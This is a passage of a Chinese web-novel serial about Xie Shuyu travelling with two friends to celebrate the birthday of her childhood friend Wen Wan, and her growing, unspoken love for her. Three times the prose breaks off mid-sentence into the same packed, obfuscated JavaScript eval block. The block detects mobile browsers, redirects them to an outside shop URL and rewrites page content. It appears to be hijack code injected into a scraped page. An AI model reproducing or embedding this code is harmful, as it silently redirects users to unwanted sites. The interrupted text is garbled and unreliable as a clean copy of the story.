平躺在干净柔软的大床,黑暗中凝视着天花板,温晚觉得自己疯了。 真的疯了。 但不得不说,这玩意比褪黑素管用多了,闭上眼没酝酿多久,意识自然滑入睡眠。 …… 谢舒毓洗完澡,把房间各处犄角旮旯打扫一遍,洗好的床品晾在阳台,天色已曚曚亮。 左右两栋楼有人家亮了灯,兴许是跟她一样熬夜,兴许是赶早出门上班。 空气潮湿,凉意浸透衣衫,有清脆鸟鸣自远方传来,谢舒毓搓搓胳膊,打了个长长的哈欠。 她庆幸昨天没交稿,回床上眯着,等闹钟响,关灭后重新设置,给张姐发信息,用半天年假换了一上午的好觉。 长期独居,享受自由和清静的同时,也难免会感到伤心寂寞,尤其在经历过那样一场隐晦而极致的狂欢之后。 许是因为熬夜,临睡前,谢舒毓忍不住想,假如有一天她悄悄地死在房子里,温晚会为她伤心吗? 黑夜和白天完全是两个世界,午饭后抵达编辑部,荒诞的梦境和不切实际的幻想,以及内心那一点小小的怅然若失,被城市的车水马龙片片碾碎了。 回归现实,部门会议上,谢舒毓把下周工作重点详细记录在册。 快五点,左叶在群里艾特,问她收拾好没。 谢舒毓交了稿子,正在工位摸鱼等下班,看到消息才猛地一拍大腿! 时间不够回宿舍收拾东西,也不能说是做春梦做得忘了形,沉着冷静别惊慌,谢舒毓手指戳屏幕。 [哎呀,忘了。] [你猪脑子,这都能忘,昨晚上偷人去了。]左叶怼。 [我偷你个腚。] 谢舒毓顿了顿,又补充说:[没事,洗漱那些酒店都有。] [我的腚不是你想偷就能偷的。] 左叶专门把谢舒毓最后一句提出来,引用说:[装什么,温晚能让你住酒店?] [我发现你最近真有点欠欠的。] 谢舒毓不置可否,就瞅准人家小腚持续输出。 [你那两瓣干屁股,架火上烤不出二两油的,送我都不要,倒贴都不要。] 左叶说。 [你给我等着。] 十分钟后,大厦楼下三人汇合,谢舒毓拉开车门坐上去,跟副驾的许徽音打过招呼,左叶从主驾探身过来,胳膊卡住她脖子,咬牙切齿问:“错没错!” “错了错了。”谢舒毓急拍她手臂求饶。 左叶松手,“怂样儿。” 谢舒毓躲到一边,也不着急说些什么,等车子上路才贱嗖嗖在后面添一句,“可不管你怎么恐吓威胁,你就是个干巴巴的瘪屁股。” 左叶开车,收拾不了她,问:“那谁屁股大,温晚屁股大,又翘又圆。” 许徽音回忆,“温晚确实。” 谢舒毓闭嘴。 左叶在前面闷了会儿,过红绿灯,冷不丁一句,“也没啥了不起,可以练的。” “原来你在意啊。”许徽音扭头。 “那你在意吗?”左叶问。 许徽音笑着,“你高兴什么就做什么,我都支持你。” “老婆真好。”左叶歪了下脑袋,要摸摸,许徽音手已经搭上去。 谢舒毓肘撑窗,反手捂唇,感觉被霸凌了。 结果前后还不到一个小时,在候车大厅,谢舒毓上个卫生间的功夫,两人就吵架了。 “我都说了,我不要喝白水,就要喝那个酸甜的,你偏不。” 左叶抱怨许徽音不给她买饮料。 许徽音说:“你牙本来就不好,还喝甜的,那些东西全是添加剂,根本不健康。” “我不喝饮料,心情就不好,心情不好,更不可能健康。”左叶有理有据。 “糖分摄入过多,皮肤老化快,还长胖,你不是还要练臀?健身更要控制饮食。”许徽音拧了瓶盖递过去,“我给你买了苏打水,也是甜的,一样喝。” “你嫌弃我身材不好。”左叶不接,开始上定义。 谢舒毓站旁边听了会儿,喝了口水,感觉不是什么大事,就没劝,留意着进站的时间。 许徽音和左叶那边,当着她面不好翻脸,也不能耍性子直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572059|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接走人,各自把脸转向一边,直到进站上车,还是谁也不理谁。 三人座,本来左叶坐中间,现在换成谢舒毓,许徽音座位靠窗,谢舒毓有心调节气氛,胳膊肘碰碰,“风景不错,看,有桃花呢。” 左叶猛一撞谢舒毓大腿,“你别跟她说话。” 谢舒毓还没来得及张嘴,许徽音不干了,“她不单是你朋友,也是我朋友,凭什么不让她跟我说话。” “我跟她先认识的!”左叶理直气壮。 许徽音说:“认识早关系就最好吗?” 左叶:“当然!” 许徽音:“那你俩怎么没在一起。” 左叶:“因为她跟温晚更早。” 许徽音:“她跟温晚也没在一起。” 左叶一时哑口,说得好像有点道理。 “无法反驳了?”许徽音挑眉。 “但谁说认识得早就必须在一起,做朋友比做恋人长久,你看她跟温晚,认识快二十年,还是好得穿一条裤子。” 左叶越说越来劲,“二十年什么概念,瓷婚了,啥叫瓷,几百甚至上千度高温烧制。” 她清清嗓,莫名其妙大佐腔,“中国有句老话,叫真瓷不怕火炼……” 许徽音被逗得花枝乱颤。 谢舒毓也跟着笑了,笑着笑着,左叶推她一把,“换个位置。” 势单力薄,谢舒毓还能怎么办,换呗。 旁边两人和好了,许徽音说:“宝宝对不起啊,我不应该对你那么苛刻,你的情绪确实更重要,饮料偶尔喝一喝没关系的,网上专家说了,情绪低落或者缺乏维生素B,就会嗜甜……是我忽略你了。” “没有啦——”左叶也跟着顺坡下,“你都是为我好嘛,而且你不是已经给我买苏打水啦,我们约好不吃垃圾食品的。” 谢舒毓莫名哼笑两声。 “你笑什么。”左叶看她。 谢舒毓视线专注在飞驰的窗景,“我妈也跟我说过类似的话,说让我别跟垃圾人玩。” 左叶:“你说谁是垃圾人?” 谢舒毓:“你说谁是垃圾人。” 左叶不怒反笑,“没事,即便我是垃圾人,也是有女朋友的垃圾人。” “你别这样说嘛——”许徽音娇滴滴的。 忍无可忍,谢舒毓抬屁股走了。 她站在两节车厢的连接处,感觉到缝隙里溜进来几线细细的风,掺着股车里难以描述的复杂味道。 白球鞋,阔腿牛仔裤,灰色兜帽卫衣,她靠墙站在那,双手揣兜看着窗外,还像个大学生,这趟出门只背个平时上班挎的素色帆布包,里面装了充电宝、身份证,还有纸和唇膏什么的。 左叶频繁提到温晚,这没什么,她们这趟出来,本来就是去给温晚过生日,但因为那个梦,“温晚”二字,被赋予了一种别样的柔情缱绻。 春节温晚没回家,她们上次见面是去年十二月底,她的生日。 到今年三月底,九十多天。 车程不长,两个多小时,想见面其实不难,可就是欠缺一个正当的理由,也不确定对方是否想见。 九十天,从隆冬到初春,冰消雪融,万物发荣滋长,候鸟归来。 见到温晚该说点什么呢。 好久不见。 最近怎么样。 还是…… ——“我很想你。” 5. 第 5 章 工作日最后一天,办公室人心浮动,企划部会议,会上温晚大致敲定了下周广告方案,随即宣布解散,众人各回各位,只等下班。 公司主要做米饼、蛋糕类休闲零食,研产销一体,下面有自己的工厂,几年前入选国家重点龙头企业名单,进行了一次扩招,温晚正赶上,运气是一方面,她的实力也不容小觑,很快做到企划部经理位置。 老板以前开小作坊的,白手起家,管理层如今都上了年纪。据可靠消息,市场部副理这个位置,年末就能腾出来,她跟销售部经理共同竞争。 销售部经理是老人了,温晚初来乍到,本是弱势,但年初时候,老板一直在外面上学的小儿子回来了,现任市场部总经理,势力重新洗牌。 到点,温晚收拾了东西拎着包出去,隔着玻璃门,她在电梯口瞄见个人,质感上乘的格纹西装,两手插兜,身材高瘦,模样还算板正。 心中不妙,温晚转身就要跑,那人似有所感,回头,双眸迸发出光彩。 “温晚。”他右手半举,跟她打招呼,另一手迅速从裤兜里抽出来,几步外站定。 “经理。”温晚硬着头皮走过去,面上笑容得体,顺道瞄了眼电梯。 灯没亮,显然是专程在等她。 捕捉到她眼神中的微小变化,对方抬手按键,并直述来意,“再过两天好像就是你的生日。” “啊?”温晚装傻,“您怎么知道。” “市场部有你的档案。”他直说。 职场中,这话再清楚不过,人家关注着你呢。 “那天是周一。” 温晚本来想用工作当挡箭牌,又怕这小子给她整什么直男惊喜,害她丢人现眼。 她换了个思路,天真眨眨眼睛,“那老板会给我放假吗?” “你想去哪里?”他看过来。 果然技高一筹。 温晚想了想,“在家睡大觉吧。”她自认有理有据,“这周末我朋友们过来找我,陪我过生日,两天狂欢,周一正好用来休养生息。” “那我可大方不了。”他说。 温晚疑惑,他笑,“那我就见不到你了。” 嘴角抽搐,温晚心里骂了句脏的。 部门几个年轻姑娘嘻嘻哈哈走出来,电梯到,温晚赶忙招呼,拉着她们一起进去。 电梯下行两层,满载后就没再停,直达一层,温晚要去B1取车,幸好电梯里还有别人,她不用非得跟那人说些什么。 打开手机,群聊里谢舒毓拳打脚踢的,说左叶和许徽音不拿她当人,气死她了。 大概知晓事情经过,温晚掩唇无声地笑,封闭的电梯轿厢,像打开一扇透气的窗,她得以畅快呼吸。 “去接朋友?”出电梯,傅明玮主动跟她说话。 温晚点头,本不想多说,临走还是忍不住问了句,“领导真不给假啊?” 她现在左右为难,怕周一到公司,鲜花蛋糕淹没她,可即便傅明玮批假,她拒接约会邀请,也总归是欠了人情的。 两害相权取其轻,她不能当着全公司面丢人,坐实谣言,只能选择后者。 也不是温晚太过自信,当然自信点没什么,是她不敢低估傅明玮的自信。 傅明玮手臂搭在车门,饶有兴味看着她,温晚跟他对视两秒,心中忽生厌烦。 这是在干什么,她没有在跟他拉扯,他一点看不出她的为难吗?还是铁了心要仗势欺人。 “我就算请假又怎么样,《劳动法》哪条说了不许,总经理位高权重当真了不起。”温晚撂下这句,转身就走。 她突然翻脸,傅明玮喊了声“温晚”,大步上前。 没搭理,温晚驱车扬长而去,经过他身边,连个眼神都没给。 这件事,麻烦就麻烦在傅明玮并没有公开直接追求她,所以她也不能没事找事,把人叫到面前说你省省吧。 况且傅明玮还是她直属上司,老板儿子。 车开到大路上,日落很美,如滚沸的岩浆,中央商务区高楼林立,泛滥成灾的钢化玻璃映照四时,组合成一只炫巧诡奇的万花筒,初见感觉惊艳,日子久了,难免审美疲劳。 温晚打开遮阳板,镜子里看了眼妆,复盘地下停车场那幕,猛捶一下方向盘。 靠!傅明玮该不会以为她在玩什么欲擒故纵吧! …… 谢舒毓三人到站,天已经黑透,温晚补了下妆,在出站口迎。 四人碰面,左叶和许徽音轮流跟温晚拥抱,轮到谢舒毓,两个人僵住了,面对面站着,不知该做些什么好。 好久不见,最近怎么样? 还是……我很想你。 都没有。 “来了。”温晚说。 “来了。”谢舒毓点点头。 九十天,确实生疏了。就这么干站着,有点尴尬,谢舒毓手从兜里掏出来,衣上蹭蹭,伸到温晚面前。 温晚愣住,反应几秒,右手拎的购物袋换到左手,与其交握,并严格按照礼仪规范,保持合适力度,手臂上下轻摇三次,期间深情凝视着对方的眼睛。 相敬如宾,彬彬有礼,礼尚往来,温晚松开手,把塑料袋里的水给她们分了。 左叶捧着水,先把许徽音揪出来骂一顿,说“你看看人家,这么久没见还记得我爱喝什么味道的水”,然后迅速挤到谢舒毓和温晚身边,“可以啊,这架势,两国建交友好洽谈呐,不知道的还以为你俩在人民大会堂呢。” “我咋了?”谢舒毓拧开瓶盖,温晚给她买的无糖茶,有茉莉香。 几口冰水咽下去,她扭头看,好巧,温晚也在看她。 二人视线相触,又迅速分离,谢舒毓低头旋上瓶盖。 左叶笑着拿手点她们,“心里都有鬼。” “有啥鬼?”谢舒毓顺嘴接,掩饰心虚。 “没鬼?”左叶说:“没鬼怎么连抱都不敢抱。” 谢舒毓把水装进包里,“谁说我不敢。” “那你抱。”左叶习惯性跟人抬杠。 谢舒毓偏偏最受不得激,“抱就抱。” 才刚刚握过手,面对面的距离,谢舒毓帆布包往肩后一甩,张开手臂,吧唧一下把温晚抱住了。 “哇哦!”左叶和许徽音起哄。 谢舒毓又好气又好笑,这两个家伙。 出站口人流如织,无数个迎候和奔赴在同时发生,这个拥抱毫不起眼,于是大胆克服了羞涩腼腆,在彼此怀中多停留些时间。 谢舒毓脸颊贴到温晚头发,触感冰凉,鼻端有熟悉的香味侵袭,是从小,甚至从她们第一次见面就闻到的,淡淡檀木香混合花果香,这么多年没变过。 木香如有实质,是老房子老家具专属,醇厚温和。花香轻盈,若即若离,无法被刻意捕捉……果香则是甜蜜的,瞬间把人拉回小学二年级的暑假。 谢舒毓有片刻的恍惚。 蝉声吵闹,午后空气闷热,小区门口一棵老樟树下,温晚主动靠近,朝她伸出右手,嘴里热烘烘的糖果味,问“你吃不”。 那天她是从家里跑出来的,期末数学没考好,跟妈妈吵架了。天好热,身上好黏,眼泪湿了干,脸蛋紧绷着,难受。 温晚挨在她身边,两手捧着她的脸,左边捏一下,右边捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572060|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,手心不停揉搓,还张嘴咬了口,说“咸的”。 在她记忆中,初次见面的温晚是天使般的存在,有一对轻盈雪白的翅膀,周身散发出圣洁柔和的光。 她亲了她的脸,还给了她一颗糖,青苹果味的。 似乎有一种奇妙的感应,拥抱毫无预兆降临时,温晚本能圈拢对方腰肢,不约而同想起她们的初遇。 那只是她生命中平凡的一天,平凡的一个午后,本不足以被铭记,因为谢舒毓,此后被反复镂刻,那帧帧幕幕,像檐角的水滴,日久天长,心上打落出深深的印记。 糖果热化了,包装纸变得黏糊糊,脏兮兮,她本来要丢掉,树底下看到个小孩在哭,就顺手递过去。 那小孩没嫌弃,伸出半截舌头认真地舔,睫毛还噙着泪,鼻头红红,脸蛋像棉花糖一样,看起来好软,好糯…… 好好吃。 然后她跟她说“谢谢”。 回忆琐碎漫长,思绪之广阔,超越时间空间,现实当中,这个拥抱却不过三五秒。 松开手,彼此都唯恐慢了地退后一步,拉出安全距离。 两方极度配合,说抱就抱了,没半点扭捏,左叶反倒觉得没意思,揉揉肚子,“饿了。” 温晚如释重负,“有家中餐不错,我已经订了位置。” 她朝前走,领她们去取车,“中餐没问题的吧,这样我们四个都能吃到喜欢的菜。”其实本来想吃火锅,怕蒜味大。 左叶和许徽音附和,说好久没吃米饭了,谢舒毓两手揣兜跟在后头,目光本能追随。 温晚今天穿白色衬衫,外披宽松湖蓝色西装,下身是灰色中长百褶裙,小腿细直,鞋跟适中,行走时步伐坚定,不疾不徐。 她人好看,衣服也好看,上上下下,全都非常非常好看。 她也一定很累,很忙,下班到现在,连工牌都忘了摘。 精致、漂亮,温晚干练的城市精英感觉,把她们之间的距离加倍拉长,谢舒毓数不清第多少次,心中感慨——她们真的长大了,各自长成不同的样子。 “谢舒毓!”温晚蓦然回头,也许是那个拥抱给了她勇气。 回神,多年成习惯,谢舒毓小跑去温晚身边,眼神问询。 温晚隔着袖子捏住她手腕,“你说洗漱都没带,是不是故意的,不想来见我,只是阿音提早就买好车票,你没办法拒绝。” 呆傻两秒,谢舒毓飞快摇头,“我没有,我不是故意的,是真忘收拾了。” 担心被误会,她真心话一句接一句往外掏,“就是太想见你,紧张,才会忘东忘西,我很想你,怎么会不想见你……” 温晚鞋跟哒哒,像只轻灵的小鹿,对这个回答还算满意,“没事,住我家,家里什么都有。” 其实这没什么好强调的,小时候她们经常去对方家过夜,躺同一张床上睡觉,亲亲抱抱更是常事。不过那都是在温晚谈恋爱之前。 “叶子她们呢。”谢舒毓问了句废话。 “开房呗。”温晚说。 开房。 谢舒毓抿唇,故作严肃。 温晚拉着她走出一段路,“其实我挺想你的,远远看到你向我走过来,好高兴。” 心脏莫名加快,谢舒毓手指发麻,声音发颤,“其实我也很想,你……” 车停在对面,过马路,有汽车鸣笛,温晚皱眉,“什么?” “看红灯。”谢舒毓扯了下她袖子,“我说我也高兴。” 温晚倏地仰脸,“你说想我,我听见了,是你先说的,你一早就说了。” “啊?”谢舒毓迷糊,什么时候! 6. 第 6 章 真奇妙,每一次久别重逢,谢舒毓都忍不住在心中感慨,这感觉真奇妙。 不管手机里吵架吵得多厉害,是一周,一个月,还是半年,甚至一年都不冷不热、不咸不淡,只要见面,看到她的脸,看她远远朝着自己走来的样子,朝她快快走去的这个过程,所有烦恼忧苦,瞬间烟消云散。 她快三十了,工作稳定,作息规律,家人健康,独居状态相对平和,生活中能解决的问题尽量解决,不能解决的选择忽视,关于心理健康,少内耗,多甩锅,她还有什么烦心事? 只有温晚,不可捉摸,又不能视若无睹,喜是她,愁也是她。 要过马路,理所当然牵起她的手,谢舒毓眼睛睁得大大,支着脖子,脑袋时而往左,时而往右,警惕观察车辆,欲盖弥彰过于明显。 温晚仰脸看她,一瞬不瞬看着,手心干燥温暖。谢舒毓比她高半个头,手也比她大一点,她喜欢被她牵住的感觉,一颗心像弹簧球跳来跳去,每蹦一下就“噗叽”挤出个粉红泡泡。 “那我是不是也可以理解为,你是故意不带洗漱,等我开口,让你住到家里去。”温晚小跑,超越半步,稍欠身去看她的脸。 谢舒毓“啊”了声,表情困惑,“没必要吧,我们之间还需要这样吗?” 说不好,摩羯座就是闷骚啊,温晚腹诽。 但那句之后,斑马线走完,谢舒毓谨慎松开手,不牵了。 温晚泄了口气,回头看,左叶和许徽音手挽手跟在后面,脑袋抵着脑袋,不知说的什么,满脸坏笑。 她们几个,温晚跟谢舒毓最先认识,小学和初中在县里读,住一个小区,几乎每天都能见面。 本来两家不认识,隔了几栋楼,两个小孩玩得好,互相串门,一来二去,两位妈妈觉得对方都挺投缘,成为朋友。 后来温晚外公家老房子拆迁,她妈拿着钱去市里开公司,还买了房,初二那年,两家凑一块合计,干脆让她俩考市里的高中。 温晚家里大人忙着做生意,温晚需要人陪,学校也没宿舍,谢舒毓高中三年都住在温晚家,生活费和学费是谢舒毓妈妈直接交到温晚妈妈手里。 跟左叶是高中认识,三人同班,好巧左叶也是美术生,跟谢舒毓在一间画室,两人组自然发展成三人组。 温晚对左叶起初不太高兴,觉得她抢走谢舒毓,经常上厕所不叫她,课间故意不给她带水,周末谢舒毓去画室也看得紧紧,直到左叶高二偷偷跟隔壁班女生谈恋爱。 “说起来,我是她俩的性向启蒙。”左叶上了后座,见到温晚,难免回忆起些旧事。 谢舒毓坐在副驾,系好安全带,回头说:“确实,叶子高二就谈恋爱了。” 她没忘,刚刚左叶在出站口让她多难堪!虽然那个拥抱确实缓和了她跟温晚之间的气氛。 但一码归一码! 左叶猛地坐直了,手伸出去掐住谢舒毓脖子,“你恩将仇报是不是。” “你松开她。”温晚说。左叶不松,甚至改用两只手掐,谢舒毓“呃呃”吐舌头,温晚捶她两拳。 许徽音笑了下,“你反应这么大啊。” “对!”温晚边捶边嚷,“叶子高二早恋,还是她主动追的人家,写情书,送早餐,哎呦可积极了。” 许徽音好奇问“谁啊”,又看向左叶,“你不是跟我说,你大学才谈恋爱。” “对啊。”左叶梗着脖子,“大学才正儿八经谈,以前都是闹着玩。” 在温晚帮助下,谢舒毓成功逃脱魔爪,毫不客气揭她老底,“闹着玩,人家说分手的时候,你哭成那狗样儿,还偷着学抽烟。” 说到这个,温晚也来劲了,“对对,去找人家的时候,专门跑天台点一根,熏得满身烟臭,然后站隔壁班门口,说那谁谁谁,麻烦你出来一趟。” 死去的回忆开始攻击,左叶跌坐回椅背,手捂住脸。 谢舒毓扭过身,绘声绘色跟许徽音描述,“她连夜画了一幅画,然后跟人说,那是一早就画好的,本来想等到什么一百天纪念日的时候送,结果没想到被分手。” 谢舒毓手舞足蹈的,“那人家一听,当然很感动,又关心她……” 说到这里,她捏细了嗓子,“你身上什么味道呀,你怎么学会抽烟啦,哎呀抽烟对女生不好的。” “啊哈哈哈哈哈哈哈——” 爆笑几乎掀翻车顶。 左叶无地自容,外套撩起来,完全把脸遮住。 许徽音膝盖碰碰她,“你挺有手段啊。”然后又问谢舒毓和温晚,“那女生跟她复合了吗?为什么分手。” “那女生不久就交男朋友了。”谢舒毓说。 “根本就是直女。”温晚说:“可能一开始,意识不清楚,只是每天有人带早餐,上下学接送,感觉还不错,是当朋友处的,后来叶子写了情书,人家就跟她摊牌了。” 话至此,倒给许徽音说得怜爱了,摸摸左叶脑袋,“没事的,谁没年轻过。” “虽然现在说起来,尴尬又好笑,但我觉得,她能找到自己真实取向,干脆利落跟我撇清关系,没骗我,没耽误我,算是女中豪杰了。” 左叶猛地一动作,抻抻衣服坐直了,“不像有些人,快奔三还搞不清楚自己性取向,整天忙忙叨叨,不知道在忙活什么。” 谢舒毓傻乎乎问:“谁啊。” “你猜。”左叶歪头,冲她挤挤眼睛。 温晚开始启动车子。 谢舒毓后知后觉感到不妙,赶在左叶开口前,像往常很多次那样,重复道:“我知道啊,我是直女。” “那我有几个问题想请教。”左叶伸手抓住前面椅背,凑近些,“就算你不谈恋爱,觉得没有男的能配得上你,这么多年,你有欲望吗?你会做春梦吗?梦里跟你做的那个是女的还是男的?” 说到这里,她甚至看了眼温晚。 好精彩!好刺激!许徽音屏息凝神,生怕错过半点。 她愿意搭车大老远跑来给温晚过生日,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572061|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅仅是因为左叶,是这几个人凑一块的时候,真的太好玩了。她喜欢跟她们玩,就算哪天跟左叶分手,还是想凑一堆玩。 谢舒毓不是那种心思很深的摩羯座,她除了学习、专业方面,感情和生活当中表现得有点蠢,当然也可以说是淳朴。左叶这个问题,结结实实把她问住了,她有十几秒,一动不动。 要换作往常,她不至于那么难堪,但就在今天凌晨,她做了一个春梦。 左叶不愧是她挚友,“问题有些密集了,要不你一个一个回答。” 谢舒毓还不算蠢到家,“我为什么一定要回答。” “你不答就是心虚,都是好朋友,这没什么好隐瞒,除非你兔子想吃窝边草,看上我了,不好意思说。”左叶一个套接着一个套。 温晚悄悄遁了,此时借司机身份掩护,耳朵却没闲着,微微偏着脑袋,像动画片里的小老鼠杰瑞。 谢舒毓果然上当,嗤笑一声,“你真看得起自己。” “那你老提我高中那些事,让我觉得你就是暗搓搓吃醋。” 左叶推推她肩膀,不提温晚,但字字都围绕着温晚,“你心里要没鬼,干嘛总一惊一乍,还区别对待,忽远忽近的。” 是我表现得太过明显了吗?谢舒毓皱眉。 左叶说回之前的问题,逼迫她回答:“不可以撒谎,不然一辈子发不了财。” “发财这个概念太空泛了。” 许徽音想想说:“一辈子不能高那什么吧。”她有点难为情,换了个委婉的说法,“抵达巅峰。” 温晚死咬唇,连笑都不敢笑,生怕殃及池鱼。她在心里跟谢舒毓说抱歉,这次真的帮不了你,因为我也特别想知道。 “为什么会突然说这些。”谢舒毓真实感到困惑,自从那个梦之后,她周围一切都变了。 朋友们不可能窥探到她的梦境,她完蛋想,兴许就是左叶说的那样,她心里有鬼,所以暴露了。 但她怎么可能蠢到实话实说。 “欲望肯定有啊,我精神和生理都非常健康,春梦也做过,但我没有性幻想对象,我大多是旁观者身份。” 谢舒毓看向左叶,脸不红心不跳的,“就是你跟阿音啊,你俩动不动就在我面前演活春宫,我日有所见,夜很难不想。” 严格来讲,这不算撒谎,左叶和许徽音的开放,确实让她产生很多联想。 好朋友之间,就是要互相攻击,互相揭短,以让对方感到难堪,甚至恶心为乐。 危机化解,谢舒毓长舒一口气,“其实这种话题,我这种标准东亚家庭出来的小孩,是很忌讳很腼腆的,但我们不应以谈性为耻。” 她开始上价值,装得人模狗样,“这样很好,直面自己,直面内心。” 温晚迅速捕捉到其中关键,“所以你其实是喜欢女生,对吧?” “没有。”谢舒毓否认,“我是直女,我只是欣赏女人美丽的心灵。” “还有美丽的身体。”左叶补充。 7. 第 7 章 ——“女人美丽的身体。” 城市夜景,科技与文明的光亮汇聚成河,车窗外熠熠流淌,谢舒毓口中无声反复咀嚼,内心充斥着人类最为原始的欲望。 理解理解,她特别能理解,也没有过分谴责自己。 她是个俗人,俗到不能再俗,吃喝玩乐,沉迷美色。可那个人怎么会是温晚。 车内封闭空间,温晚在主驾位,触手可及,却咫尺天涯。 她们是最好的朋友,没有血缘关系的亲人,她们的关系牢不可破,是彼此最为坚固的后盾,避风的港湾,入眠时深拥的“阿贝贝”,都深度迷恋那份温暖及柔软。 谢舒毓强迫自己停止脑海中龌龊的想法,可温晚就在身边,她根本做不到。 思绪的开端像一根毛线头,起床就被她落在家里,她身上那件破毛衣已经拆到胸口,将要原形毕露。 话题早就扯到十万八千里外,三人滔滔不绝,电影、娱乐新闻,小区业主群里的刺激八卦,她们什么都能聊。 只有她,做贼心虚,抱着‘女人美丽的身体’盘啊盘,反思自己究竟是哪里露出破绽。 “想什么呢?”温晚看向身侧。 “想你呗。”左叶是接话王。 谢舒毓不置可否,只笑了下,在车窗里看见自己单边的酒窝。 上初中后,她开始在报刊亭买少女杂志,她始终记得,其中一册,那期专栏是分析人脸上的酒窝。 说两边有酒窝的人,桃花运很旺,只要用心经营,有情人80%能成眷属。然而单边酒窝的人,却是“襄王有意神女无心”,常常陷入爱情困局,无法自拔。 也许是种心理暗示,之后谢舒毓相当谨慎,为避免陷入爱情困局,一旦出现些微单相思苗头,立即扼杀在萌芽阶段。 但有句老话,叫杀不死的只会让它更强大。 开门暴击,这次直接给她上了盘限制级。 现在她也做杂志,知道少女杂志上那些所谓知识,都是网上复制粘贴,出处不详,完全胡编乱造。 但还有句老话,叫万事不由人计较,一生都是命安排。 温晚订的中餐馆在市区一处山体公园附近,曲折游廊,小桥流水,颇具古意,晚七点到九点,还有说书和评弹表演。 环境越好,翻台率越低,菜当然也越贵,左叶扫码看了眼菜单,险些吓一跟头,直言道:“这顿不用A吧?” 她大拇指往后一戳,“不然我可走了,吃路边摊去。” “当然不用。”温晚端起茶杯,浅抿一口,“每年生日都辛苦你们大老远过来,我当然要尽一尽地主之谊。” 温大小姐嘛,曾经的县城公主,大家并不为她钱包过分担忧,乐得享受。 饭桌很大,四个人坐还是显得有点空,左叶和许徽音紧挨着,车上那番挑拨离间没有奏效。 谢舒毓故意磨蹭,最后一个落座,跟温晚隔着桌。 温晚瞟她一眼,夜间光线不佳,她侧脸看向前方舞台,脸部轮廓优越,只是碎发遮住了眼,情绪难辨。 点完菜,温晚再抬起头,谢舒毓竟然坐到她身边。 小惊喜,温晚眼神问询,干嘛? 谢舒毓没有接收讯号,只是担心自己刻意的疏远,反而暴露心事。 但她很快就后悔了。鼻端飘来熟悉的幽香,她脑海中出现七个大字——女人美丽的身体。 她假装心无旁骛看舞台,座位角度却完全把温晚框进视线,她很难不注意温晚。 每天加班,那么辛苦,长发依旧浓密顺滑,不烫不染,天然光泽的黑色,像一块上好的丝绸。 于是忍不住,伸手抚摸。 温晚回头,“嗯?” “你头发真好。”谢舒毓不敢想象自己这个笑有多难看,她嘴皮紧绷,几乎裂开。 “喝点水。”温晚给她倒了茶。 谢舒毓乖乖接过,喝完整杯。 温晚视线定格在她颜色粉嫩润泽的嘴唇,看起来好好亲。 没见面的时候,心里好多话想对她说,夜里翻来覆去睡不着。 真见了,又觉得都不重要,见到她就很满足。 “最近怎么样。”温晚先开口。 谢舒毓仔细想了想,“跟从前一样。” 她不是个能藏事的人,还特别依赖朋友,连下楼取快递看到只竹节虫也要拍照发群里。真遇见什么事,当时就说了,不会等到现在。 虽然大多时候,群里她们都是各说各话,只顾发泄,但令人感到惊喜的是,那些事件细节会在某次聊天时不经意带出。 原来她们都很认真看过,记得。 跟谢舒毓相比,温晚心思更重,不显山不露水。 她有心拉进关系,找个人来骂,至少她个人与人增进关系,是通过寻找共同敌人进行辱骂。 她想骂傅明玮,又不愿把时间和情绪浪费在毫不相干的人身上,她们好久才见一次,不舍破坏气氛。 “哦对了,我上周遇见干妈了。”谢舒毓想起来。 她的干妈就是温晚亲妈,高一那年认的。 温晚说知道,“你当时就说了,我妈也跟我说了。” 谢舒毓点头,“还是那些话,让我劝你回家,说家里需要你,都那么多年了,别赌气了。” “我跟谁赌气啊。”温晚这句其实是问谢舒毓。 她是独生女,家中一向受宠,她想干什么就干什么,谁能拦得住她,需要赌气吗? 谢舒毓说“我不知道啊”,她抓抓脸蛋,“我不在你家住已经很久了,不知道你为什么跟家里赌气。” 温晚意味不明笑了声。 你当然不知道,你知道什么?连我妈都不知道,只是拿我没奈何。 那句之后,二人沉默,言语的空白把空间无限放大,距离加倍拉长。 温晚起身,本想挨去左叶和许徽音身边,结果两人又吵起来,原因是左叶偷偷扫码点饮料。 许徽音:“你不知道自己有蛀牙吗?牙齿是不可再生的,补牙很贵,人还受罪。你为什么总是把我的话当耳边风,我跟你说过多少遍,那些饮料里全是添加剂,桌上已经有茶水了。” 左叶:“茶水是苦的。” 许徽音:“那你喝白水,你甚至可以喝冰水,行不行。” 左叶:“我不喜欢白水的味道。” 许徽音:那喝茶水。” 左叶:“茶水是苦的。” 许徽音:“那喝白 